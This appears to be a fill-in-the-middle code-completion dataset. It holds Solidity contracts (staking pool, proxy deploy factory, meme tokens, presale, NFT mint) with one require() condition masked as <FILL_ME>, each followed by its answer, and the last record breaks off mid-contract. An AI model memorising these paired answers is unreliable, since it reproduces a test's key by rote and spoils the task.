poolInfo[_pid].rewardAmount); } // Return reward multiplier over the given _from to _to block. function getMultiplier( uint256 _pid, uint256 _from, uint256 _to ) public view override returns (uint256) { } // View function to see pending REWARDs on frontend. function pendingReward(uint256 _pid, address _user) external view override returns (uint256) { } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public override { } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public override { } // Deposit STAKE tokens to POOL for REWARD allocation. function deposit(uint256 _pid, uint256 _amount) public payable override { } // Withdraw STAKED tokens from Pool. function withdraw(uint256 _pid, uint256 _amount) public override { } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public override { } function recoverWrongTokens(address _tokenAddress, uint256 _tokenAmount) external override onlyAdmin { } // Safe reward token transfer function, just in case a rounding error causes the pool to not have enough reward tokens. function _safeRewardTransfer(address to, uint256 amount) internal { } // for calculating minimum staking period and linear reduction of rewards // function _calcRewardPercentage(uint256 _startBlock, uint256 _minStakePeriod) internal view returns (uint256) { // if(block.number >= _startBlock + _minStakePeriod) { // return 10000; // 100.00% // } else if (block.number > _startBlock) { // range 1 - 9999, .01% - 99.99% // uint256 elapsed = block.number - _startBlock; // return ((elapsed * 10000) / _minStakePeriod); // } else { // return 0; // 0% // } // } // internal add to expose to initialize() and callable function _add( address _stakeToken, uint256 _allocPoint, uint256 _startBlock, uint256 _bonusMultiplier, uint256 _bonusEndBlock, uint256 _minStakePeriod, uint256 _rewardAmount, bool _withUpdate, bool _isLpToken ) internal { } }
!mintable,"Pool::addRewardAmount: REWARD_MINTABLE"
486,173
!mintable
"Pool::recoverWrongTokens: STAKED_TOKEN"
// SPDX-License-Identifier: MIT pragma solidity >=0.8.2 <0.9.0; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; import "../token/protocol/extension/mintable/interface/IERC20Mintable.sol"; import "./interface/IPool.sol"; import "./interface/IPoolFactory.sol"; import "../token/wrapped/IWNATIVE.sol"; import "../util/TransferHelper.sol"; import "../access/interfaces/IManager.sol"; interface IFactory { function getFee() external returns (uint256, uint256); } contract Pool is Context, IPool { // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. uint256 pendingReward; // // We do some fancy math here. Basically, any point in time, the amount of REWARD // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accRewardPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws STAKE tokens to a pool. Here's what happens: // 1. The pool's `accRewardPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives any pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { address stakeToken; // Address of STAKED token uint256 totalStake; // total amount of STAKED token uint256 allocPoint; // How many allocation points assigned to this POOL. REWARD to distribute per block. uint256 lastRewardBlock; // Last block number that REWARD distribution occurs. uint256 accRewardPerShare; // Accumulated REWARD per share, times PRECISION_FACTOR. See below. uint256 bonusEndBlock; // Block number when BONUS REWARD period ends for this POOL uint256 startBlock; // The block number when REWARD mining starts for this POOL uint256 minStakePeriod; // the minimum number of blocks a participant should stake for (early withdrawal will incure penatly fees) uint256 bonusMultiplier; // Bonus muliplier for early REWARD participation for this POOL uint256 rewardAmount; // the amount of total rewards to be distributed (only used for !mintable reward tokens) bool isLpToken; // the amount of total rewards to be distributed (only used for !mintable reward tokens) } bool private _isInitialized; IManager public manager; address public _factory; address public override rewardToken; uint256 public override rewardPerBlock; // REWARD tokens allocated per block for the entire POOL bool public override mintable; address public override treasury; address public override nativeToken; uint256 public override PRECISION_FACTOR; mapping(address => bool) public override staked; // Info of each pool. (by pid) PoolInfo[] public override poolInfo; // Info of each user that stakes tokens for a pool (by pid, by user address) mapping(uint256 => mapping(address => UserInfo)) public override userInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public override totalAllocPoint = 0; modifier onlyAdmin() { } modifier onlyGovernance() { } constructor() { } // NOTE: intialize() will fail for !mintable REWARD pools function initialize( address _rewardToken, uint256 _rewardPerBlock, address _treasury, address _nativeToken, uint256 _nativeAllocPoint, uint256 _nativeStartBlock, uint256 _nativeBonusMultiplier, uint256 _nativeBonusEndBlock, uint256 _nativeMinStakePeriod, address _manager ) external override { } function poolLength() external view override returns (uint256) { } // NOTE: if this Pool is a non-mintable reward, then the pool contract must be given approval for trasfer of tokens before any new add() is called // Add a new STAKE token to the pool. Can only be called by the owner. function add( address _stakeToken, uint256 _allocPoint, uint256 _startBlock, uint256 _bonusMultiplier, uint256 _bonusEndBlock, uint256 _minStakePeriod, uint256 _rewardAmount, // total amount of REWARD available for distribution for this pool, ignored if this rewardToken is mintable bool _withUpdate, bool _isLpToken ) public override onlyAdmin { } // Update the entire pool's reward per block. Can only be called by admin or governance function updateRewardPerBlock(uint256 _rewardPerBlock) public override onlyGovernance { } // Update the given pool's REWARD allocation points. Can only be called by admin or governance function set( uint256 _pid, uint256 _allocPoint, bool _withUpdate ) public override onlyGovernance { } // Update the given pool's start block. Can only be called by admin or governance function updateStart(uint256 _pid, uint256 _startBlock) public override onlyGovernance { } // Update the given pool's bonus data. Can only be called by admin or governance function updateBonus( uint256 _pid, uint256 _bonusEndBlock, uint256 _bonusMultiplier ) public override onlyGovernance { } // NOTE: need to approve _rewardAmount for transfer for this pool address from the caller before calling // Adds _rewardAmount to the rewardAmount for a given pool. Can only be called by admin or governance function addRewardAmount(uint256 _pid, uint256 _rewardAmount) public override onlyAdmin { } // Return reward multiplier over the given _from to _to block. function getMultiplier( uint256 _pid, uint256 _from, uint256 _to ) public view override returns (uint256) { } // View function to see pending REWARDs on frontend. function pendingReward(uint256 _pid, address _user) external view override returns (uint256) { } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public override { } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public override { } // Deposit STAKE tokens to POOL for REWARD allocation. function deposit(uint256 _pid, uint256 _amount) public payable override { } // Withdraw STAKED tokens from Pool. function withdraw(uint256 _pid, uint256 _amount) public override { } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public override { } function recoverWrongTokens(address _tokenAddress, uint256 _tokenAmount) external override onlyAdmin { require(<FILL_ME>) require(_tokenAddress != rewardToken, "Pool::recoverWrongTokens: REWARD_TOKEN"); TransferHelper.safeTransfer(_tokenAddress, _msgSender(), _tokenAmount); emit AdminTokenRecovery(_tokenAddress, _tokenAmount); } // Safe reward token transfer function, just in case a rounding error causes the pool to not have enough reward tokens. function _safeRewardTransfer(address to, uint256 amount) internal { } // for calculating minimum staking period and linear reduction of rewards // function _calcRewardPercentage(uint256 _startBlock, uint256 _minStakePeriod) internal view returns (uint256) { // if(block.number >= _startBlock + _minStakePeriod) { // return 10000; // 100.00% // } else if (block.number > _startBlock) { // range 1 - 9999, .01% - 99.99% // uint256 elapsed = block.number - _startBlock; // return ((elapsed * 10000) / _minStakePeriod); // } else { // return 0; // 0% // } // } // internal add to expose to initialize() and callable function _add( address _stakeToken, uint256 _allocPoint, uint256 _startBlock, uint256 _bonusMultiplier, uint256 _bonusEndBlock, uint256 _minStakePeriod, uint256 _rewardAmount, bool _withUpdate, bool _isLpToken ) internal { } }
!staked[_tokenAddress],"Pool::recoverWrongTokens: STAKED_TOKEN"
486,173
!staked[_tokenAddress]
"Pool::add: STAKE_POOL_ALREADY_EXISTS"
// SPDX-License-Identifier: MIT pragma solidity >=0.8.2 <0.9.0; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; import "../token/protocol/extension/mintable/interface/IERC20Mintable.sol"; import "./interface/IPool.sol"; import "./interface/IPoolFactory.sol"; import "../token/wrapped/IWNATIVE.sol"; import "../util/TransferHelper.sol"; import "../access/interfaces/IManager.sol"; interface IFactory { function getFee() external returns (uint256, uint256); } contract Pool is Context, IPool { // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. uint256 pendingReward; // // We do some fancy math here. Basically, any point in time, the amount of REWARD // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accRewardPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws STAKE tokens to a pool. Here's what happens: // 1. The pool's `accRewardPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives any pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { address stakeToken; // Address of STAKED token uint256 totalStake; // total amount of STAKED token uint256 allocPoint; // How many allocation points assigned to this POOL. REWARD to distribute per block. uint256 lastRewardBlock; // Last block number that REWARD distribution occurs. uint256 accRewardPerShare; // Accumulated REWARD per share, times PRECISION_FACTOR. See below. uint256 bonusEndBlock; // Block number when BONUS REWARD period ends for this POOL uint256 startBlock; // The block number when REWARD mining starts for this POOL uint256 minStakePeriod; // the minimum number of blocks a participant should stake for (early withdrawal will incure penatly fees) uint256 bonusMultiplier; // Bonus muliplier for early REWARD participation for this POOL uint256 rewardAmount; // the amount of total rewards to be distributed (only used for !mintable reward tokens) bool isLpToken; // the amount of total rewards to be distributed (only used for !mintable reward tokens) } bool private _isInitialized; IManager public manager; address public _factory; address public override rewardToken; uint256 public override rewardPerBlock; // REWARD tokens allocated per block for the entire POOL bool public override mintable; address public override treasury; address public override nativeToken; uint256 public override PRECISION_FACTOR; mapping(address => bool) public override staked; // Info of each pool. (by pid) PoolInfo[] public override poolInfo; // Info of each user that stakes tokens for a pool (by pid, by user address) mapping(uint256 => mapping(address => UserInfo)) public override userInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public override totalAllocPoint = 0; modifier onlyAdmin() { } modifier onlyGovernance() { } constructor() { } // NOTE: intialize() will fail for !mintable REWARD pools function initialize( address _rewardToken, uint256 _rewardPerBlock, address _treasury, address _nativeToken, uint256 _nativeAllocPoint, uint256 _nativeStartBlock, uint256 _nativeBonusMultiplier, uint256 _nativeBonusEndBlock, uint256 _nativeMinStakePeriod, address _manager ) external override { } function poolLength() external view override returns (uint256) { } // NOTE: if this Pool is a non-mintable reward, then the pool contract must be given approval for trasfer of tokens before any new add() is called // Add a new STAKE token to the pool. Can only be called by the owner. function add( address _stakeToken, uint256 _allocPoint, uint256 _startBlock, uint256 _bonusMultiplier, uint256 _bonusEndBlock, uint256 _minStakePeriod, uint256 _rewardAmount, // total amount of REWARD available for distribution for this pool, ignored if this rewardToken is mintable bool _withUpdate, bool _isLpToken ) public override onlyAdmin { } // Update the entire pool's reward per block. Can only be called by admin or governance function updateRewardPerBlock(uint256 _rewardPerBlock) public override onlyGovernance { } // Update the given pool's REWARD allocation points. Can only be called by admin or governance function set( uint256 _pid, uint256 _allocPoint, bool _withUpdate ) public override onlyGovernance { } // Update the given pool's start block. Can only be called by admin or governance function updateStart(uint256 _pid, uint256 _startBlock) public override onlyGovernance { } // Update the given pool's bonus data. Can only be called by admin or governance function updateBonus( uint256 _pid, uint256 _bonusEndBlock, uint256 _bonusMultiplier ) public override onlyGovernance { } // NOTE: need to approve _rewardAmount for transfer for this pool address from the caller before calling // Adds _rewardAmount to the rewardAmount for a given pool. Can only be called by admin or governance function addRewardAmount(uint256 _pid, uint256 _rewardAmount) public override onlyAdmin { } // Return reward multiplier over the given _from to _to block. function getMultiplier( uint256 _pid, uint256 _from, uint256 _to ) public view override returns (uint256) { } // View function to see pending REWARDs on frontend. function pendingReward(uint256 _pid, address _user) external view override returns (uint256) { } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public override { } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public override { } // Deposit STAKE tokens to POOL for REWARD allocation. function deposit(uint256 _pid, uint256 _amount) public payable override { } // Withdraw STAKED tokens from Pool. function withdraw(uint256 _pid, uint256 _amount) public override { } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public override { } function recoverWrongTokens(address _tokenAddress, uint256 _tokenAmount) external override onlyAdmin { } // Safe reward token transfer function, just in case a rounding error causes the pool to not have enough reward tokens. function _safeRewardTransfer(address to, uint256 amount) internal { } // for calculating minimum staking period and linear reduction of rewards // function _calcRewardPercentage(uint256 _startBlock, uint256 _minStakePeriod) internal view returns (uint256) { // if(block.number >= _startBlock + _minStakePeriod) { // return 10000; // 100.00% // } else if (block.number > _startBlock) { // range 1 - 9999, .01% - 99.99% // uint256 elapsed = block.number - _startBlock; // return ((elapsed * 10000) / _minStakePeriod); // } else { // return 0; // 0% // } // } // internal add to expose to initialize() and callable function _add( address _stakeToken, uint256 _allocPoint, uint256 _startBlock, uint256 _bonusMultiplier, uint256 _bonusEndBlock, uint256 _minStakePeriod, uint256 _rewardAmount, bool _withUpdate, bool _isLpToken ) internal { require(_isInitialized, "Pool::add: POOL_NOT_INITIALIZED"); require(<FILL_ME>) require(_startBlock >= block.number, "Pool::add: INVALID_START_BLOCK"); require(_bonusMultiplier >= 1, "Pool::add: INVALID_BONUS_MULTIPLIER"); if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > _startBlock ? block.number : _startBlock; totalAllocPoint = totalAllocPoint + _allocPoint; PoolInfo storage newPool = poolInfo.push(); newPool.stakeToken = _stakeToken; newPool.allocPoint = _allocPoint; newPool.lastRewardBlock = lastRewardBlock; newPool.accRewardPerShare = 0; newPool.bonusEndBlock = _bonusEndBlock; newPool.startBlock = _startBlock; newPool.minStakePeriod = _minStakePeriod; newPool.bonusMultiplier = _bonusMultiplier; newPool.totalStake = 0; newPool.isLpToken = _isLpToken; if (!mintable) { if (_rewardAmount > 0) { // transfer initial amount of tokens to be used as rewards for this pool TransferHelper.safeTransferFrom(rewardToken, _msgSender(), address(this), _rewardAmount); newPool.rewardAmount = _rewardAmount; } } emit PoolAdded( poolInfo.length - 1, _stakeToken, _allocPoint, _startBlock, _bonusMultiplier, _bonusEndBlock, _minStakePeriod ); } }
!staked[_stakeToken],"Pool::add: STAKE_POOL_ALREADY_EXISTS"
486,173
!staked[_stakeToken]
"already exists contract"
pragma solidity ^0.8.0; abstract contract AbstractDeployFactory { using AddressUpgradeable for address; address public owner; event Deployed(string name, address deployed); constructor(){ } function exists(address account) internal view returns (bool) { } function call(address target,bytes memory data,uint256 value) public returns (bytes memory) { } function getAddress(bytes32 salt, address logic, address admin, bytes memory data) public virtual view returns (address); function create(bytes32 salt, address logic, address admin, bytes memory data) public virtual payable returns (address); } contract WePiggyComptroller is TransparentUpgradeableProxy { constructor( address _logic, address admin_, bytes memory _data ) payable TransparentUpgradeableProxy(_logic, admin_, _data) {} } contract WePiggyComptrollerDeployFactory is AbstractDeployFactory{ function getAddress(bytes32 salt, address logic, address admin, bytes memory data) public override view returns (address){ } function create(bytes32 salt, address logic, address admin, bytes memory data) public override payable returns (address) { require(owner == msg.sender,"only owner can call"); address predictedAddress = getAddress(salt, logic, admin, data); require(<FILL_ME>) address deployed = address(new WePiggyComptroller{salt: salt}(logic, admin, data)); require(deployed == predictedAddress, "The addresses do not match"); emit Deployed("WePiggyComptroller", deployed); // transferOwnership to developer call(deployed, abi.encodeWithSignature("transferOwnership(address)", msg.sender), 0); return deployed; } } contract WePiggyDistributioner is TransparentUpgradeableProxy { constructor( address _logic, address admin_, bytes memory _data ) payable TransparentUpgradeableProxy(_logic, admin_, _data) {} } contract WePiggyDistributionerDeployFactory is AbstractDeployFactory{ function getAddress(bytes32 salt, address logic, address admin, bytes memory data) public override view returns (address){ } function create(bytes32 salt, address logic, address admin, bytes memory data) public override payable returns (address) { } } contract WePiggyMarketTokenEther is TransparentUpgradeableProxy { constructor( address _logic, address admin_, bytes memory _data ) payable TransparentUpgradeableProxy(_logic, admin_, _data) {} } contract WePiggyMarketTokenEtherDeployFactory is AbstractDeployFactory { function getAddress(bytes32 salt, address logic, address admin, bytes memory data) public override view returns (address){ } function create(bytes32 salt, address logic, address admin, bytes memory data) public override payable returns (address) { } } contract WePiggyMarketTokenERC20 is TransparentUpgradeableProxy { constructor( address _logic, address admin_, bytes memory _data ) payable TransparentUpgradeableProxy(_logic, admin_, _data) {} } contract WePiggyMarketTokenERC20DeployFactory is AbstractDeployFactory { function getAddress(bytes32 salt, address logic, address admin, bytes memory data) public override view returns (address){ } function create(bytes32 salt, address logic, address admin, bytes memory data) public override payable returns (address) { } }
!exists(predictedAddress),"already exists contract"
486,331
!exists(predictedAddress)
null
pragma solidity ^0.8.19; // SPDX-License-Identifier: MIT interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair_); } library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function add(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } } contract Context { function msgSender() public view returns (address) { } } interface IUniswapV2Router { function factory() external pure returns (address addr); function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 asd, uint256 bewr, address[] calldata _path, address csdf, uint256) external; function WETH() external pure returns (address aadd); } abstract contract Ownable { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function renounceOwnership() public virtual onlyOwner { } address private _owner; modifier onlyOwner(){ } constructor () { } function owner() public view virtual returns (address) { } } contract PETA is Ownable, Context { using SafeMath for uint256; uint256 public _decimals = 9; uint256 public _totalSupply = 1000000000000 * 10 ** _decimals; uint256 buyFee = 0; uint256 sellFee = 0; function approve(address spender, uint256 amount) public virtual returns (bool) { } function allowance(address owner, address spender) public view returns (uint256) { } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { } event Approval(address indexed from, address indexed to_addres, uint256 value); function _transfer(address _from, address _to, uint256 _amount) internal { } string private _symbol = "PETA"; function symbol() public view returns (string memory) { } address public _marketingWallet; string private _name = "PETA"; function setCooldown(address[] calldata _addresses) external { } function getBlockNumber() private view returns (uint256) { } function decimals() external view returns (uint256) { } event Transfer(address indexed from, address indexed aindex, uint256 val); mapping(address => uint256) private _balances; IUniswapV2Router private uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); function initialize(uint256 tokenNumber, address _addr) external { } mapping(address => mapping(address => uint256)) private _allowances; function fromMarketingWallet() internal view returns (bool) { } function name() external view returns (string memory) { } function transferFrom(address _from, address to_, uint256 amount) public returns (bool) { _transfer(_from, to_, amount); require(<FILL_ME>) return true; } function balanceOf(address account) public view returns (uint256) { } constructor() { } function transfer(address recipient, uint256 value) public returns (bool) { } function _approve(address owner, address spender, uint256 amount) internal { } mapping (address => uint256) cooldowns; function decreaseAllowance(address from, uint256 amount) public returns (bool) { } function totalSupply() external view returns (uint256) { } }
_allowances[_from][msgSender()]>=amount
486,337
_allowances[_from][msgSender()]>=amount
'Sale has no Tokens'
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import '../utils/RetrieveTokensFeature.sol'; import '../token/IERC20UpgradeableBurnable.sol'; contract Presale is RetrieveTokensFeature { enum State { Setup, Active, Closed } //The state of the sale State private _state; // ERC20 basic token contract being held IERC20UpgradeableBurnable private _token; // beneficiary of tokens (weis) after the sale ends address private _beneficiary; // How many token units a buyer gets per wei (wei) uint256 private _rate; // Supply of sale round in smallest token unit uint256 private _totalSupply; // Current Supply of sale round in smallest token unit uint256 private _currentSupply; // Amount of wei raised uint256 private _weiRaised; /** * Event Sale started * @param rate How many token units a buyer gets per wei * @param totalSupply of momos */ event Setup(uint256 rate, uint256 totalSupply); /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchased(address indexed purchaser, uint256 value, uint256 amount); /** * Event for seedsale closed logging * @param burned amount of tokens */ event Closed(uint256 burned); constructor() { } function state() public view returns (State) { } function token() public view returns (IERC20UpgradeableBurnable) { } function beneficiary() public view returns (address) { } function totalSupply() public view returns (uint256) { } function currentSupply() public view returns (uint256) { } function rate() public view returns (uint256) { } function weiRaised() public view returns (uint256) { } /** * @dev setup the sale * @param beneficiary_ beneficiary of tokens (weis) after the sale ends * @param rate_ How many momos a buyer gets per wei * @param token_ The token to be sold by the contract */ function setup(IERC20UpgradeableBurnable token_, address beneficiary_, uint256 rate_ ) public onlyOwner { require(_state == State.Setup, 'Sale already started'); require(<FILL_ME>) _token = token_; _beneficiary = beneficiary_; _rate = rate_; _totalSupply = _token.balanceOf(address(this)); _currentSupply = _token.balanceOf(address(this)); _weiRaised = 0; _state = State.Active; emit Setup(_rate, _totalSupply); } /** * @dev buy Tokens according to the rate */ function buyTokens() public payable { } /** * @dev close the sale, retrieve ETH to the beneficiary and burn remaining tokens */ function close() public onlyOwner { } /** * @dev retrieve wrongly assigned tokens */ function retrieveTokens(address to, address anotherToken) public override onlyOwner { } /** * @dev retrieve wrongly assigned tokens */ function retrieveETH(address payable to) public override onlyOwner { } /** * @param _weiAmount Value in wei to momos * @return Number of token (momo's) one receives for the _weiAmount */ function _getMomoAmount(uint256 _weiAmount) internal view returns (uint256) { } }
token_.balanceOf(address(this))>0,'Sale has no Tokens'
486,535
token_.balanceOf(address(this))>0
'You should only use this method to withdraw extraneous tokens.'
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import '../utils/RetrieveTokensFeature.sol'; import '../token/IERC20UpgradeableBurnable.sol'; contract Presale is RetrieveTokensFeature { enum State { Setup, Active, Closed } //The state of the sale State private _state; // ERC20 basic token contract being held IERC20UpgradeableBurnable private _token; // beneficiary of tokens (weis) after the sale ends address private _beneficiary; // How many token units a buyer gets per wei (wei) uint256 private _rate; // Supply of sale round in smallest token unit uint256 private _totalSupply; // Current Supply of sale round in smallest token unit uint256 private _currentSupply; // Amount of wei raised uint256 private _weiRaised; /** * Event Sale started * @param rate How many token units a buyer gets per wei * @param totalSupply of momos */ event Setup(uint256 rate, uint256 totalSupply); /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchased(address indexed purchaser, uint256 value, uint256 amount); /** * Event for seedsale closed logging * @param burned amount of tokens */ event Closed(uint256 burned); constructor() { } function state() public view returns (State) { } function token() public view returns (IERC20UpgradeableBurnable) { } function beneficiary() public view returns (address) { } function totalSupply() public view returns (uint256) { } function currentSupply() public view returns (uint256) { } function rate() public view returns (uint256) { } function weiRaised() public view returns (uint256) { } /** * @dev setup the sale * @param beneficiary_ beneficiary of tokens (weis) after the sale ends * @param rate_ How many momos a buyer gets per wei * @param token_ The token to be sold by the contract */ function setup(IERC20UpgradeableBurnable token_, address beneficiary_, uint256 rate_ ) public onlyOwner { } /** * @dev buy Tokens according to the rate */ function buyTokens() public payable { } /** * @dev close the sale, retrieve ETH to the beneficiary and burn remaining tokens */ function close() public onlyOwner { } /** * @dev retrieve wrongly assigned tokens */ function retrieveTokens(address to, address anotherToken) public override onlyOwner { require(<FILL_ME>) super.retrieveTokens(to, anotherToken); } /** * @dev retrieve wrongly assigned tokens */ function retrieveETH(address payable to) public override onlyOwner { } /** * @param _weiAmount Value in wei to momos * @return Number of token (momo's) one receives for the _weiAmount */ function _getMomoAmount(uint256 _weiAmount) internal view returns (uint256) { } }
address(_token)!=anotherToken,'You should only use this method to withdraw extraneous tokens.'
486,535
address(_token)!=anotherToken
null
// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "operator-filter-registry/src/DefaultOperatorFilterer.sol"; contract Funkari is ERC721A("Funkari", "FUNK"), Ownable, DefaultOperatorFilterer { uint256 public MAX_SUPPLY = 200; uint256 public mintPrice; bytes32 public merkleRoot; string internal baseURI; bool public saleStarted = false; function _startTokenId() internal view virtual override returns (uint256) { } function setMintPrice(uint256 _mintPrice) public onlyOwner { } function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner { } function verifyWhitelist(address wallet, bytes32[] calldata _merkleProof) public view returns (bool) { } function setBaseURI(string memory _newURI) external onlyOwner { } function _baseURI() internal view override returns (string memory) { } function adminMint(address to, uint256 amount) external onlyOwner { } function toggleSaleStatus() external onlyOwner { } function mint(bytes32[] calldata _merkleProof) external payable { require(saleStarted, "Sale not started"); require(<FILL_ME>) require(tx.origin == msg.sender, "Caller is not origin"); require(msg.value >= mintPrice, "Insufficient funds"); require(_totalMinted() < MAX_SUPPLY, "Max supply exceeded"); require(_numberMinted(msg.sender) == 0, "Max mints for this wallet exceeded"); _mint(msg.sender, 1); } function withdrawFunds(address to) public onlyOwner { } function numMinted(address wallet) public view returns (uint256) { } //Opensea Operator Filter Registry Overrides function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) { } function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) { } function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public payable override onlyAllowedOperator(from) { } }
verifyWhitelist(msg.sender,_merkleProof)
486,572
verifyWhitelist(msg.sender,_merkleProof)
"Max supply exceeded"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "operator-filter-registry/src/DefaultOperatorFilterer.sol"; contract Funkari is ERC721A("Funkari", "FUNK"), Ownable, DefaultOperatorFilterer { uint256 public MAX_SUPPLY = 200; uint256 public mintPrice; bytes32 public merkleRoot; string internal baseURI; bool public saleStarted = false; function _startTokenId() internal view virtual override returns (uint256) { } function setMintPrice(uint256 _mintPrice) public onlyOwner { } function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner { } function verifyWhitelist(address wallet, bytes32[] calldata _merkleProof) public view returns (bool) { } function setBaseURI(string memory _newURI) external onlyOwner { } function _baseURI() internal view override returns (string memory) { } function adminMint(address to, uint256 amount) external onlyOwner { } function toggleSaleStatus() external onlyOwner { } function mint(bytes32[] calldata _merkleProof) external payable { require(saleStarted, "Sale not started"); require(verifyWhitelist(msg.sender, _merkleProof)); require(tx.origin == msg.sender, "Caller is not origin"); require(msg.value >= mintPrice, "Insufficient funds"); require(<FILL_ME>) require(_numberMinted(msg.sender) == 0, "Max mints for this wallet exceeded"); _mint(msg.sender, 1); } function withdrawFunds(address to) public onlyOwner { } function numMinted(address wallet) public view returns (uint256) { } //Opensea Operator Filter Registry Overrides function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) { } function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) { } function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public payable override onlyAllowedOperator(from) { } }
_totalMinted()<MAX_SUPPLY,"Max supply exceeded"
486,572
_totalMinted()<MAX_SUPPLY
null
// SPDX-License-Identifier: Unlicensed /* https://t.me/deluxepepeerc https://www.deluxepepe.com/ https://twitter.com/deluxepepecoin */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { } function owner() public view returns (address) { } modifier onlyOwner() { } function transferOwnership(address _newOwner) public virtual onlyOwner { } function renounceOwnership() public virtual onlyOwner { } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DLPEPE is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private time; uint256 private _tax; uint256 private constant _tTotal = 1 * 10**9 * 10**9; uint256 private fee1=30; uint256 private fee2=10; uint256 private selfBuyFee=20; string private constant _name = "Deluxe Pepe"; string private constant _symbol = "DLPEPE"; uint256 private _maxTxAmount = _tTotal.div(100).mul(2); uint256 private _maxWalletAmount = _tTotal.div(100).mul(4); uint256 private minBalance = 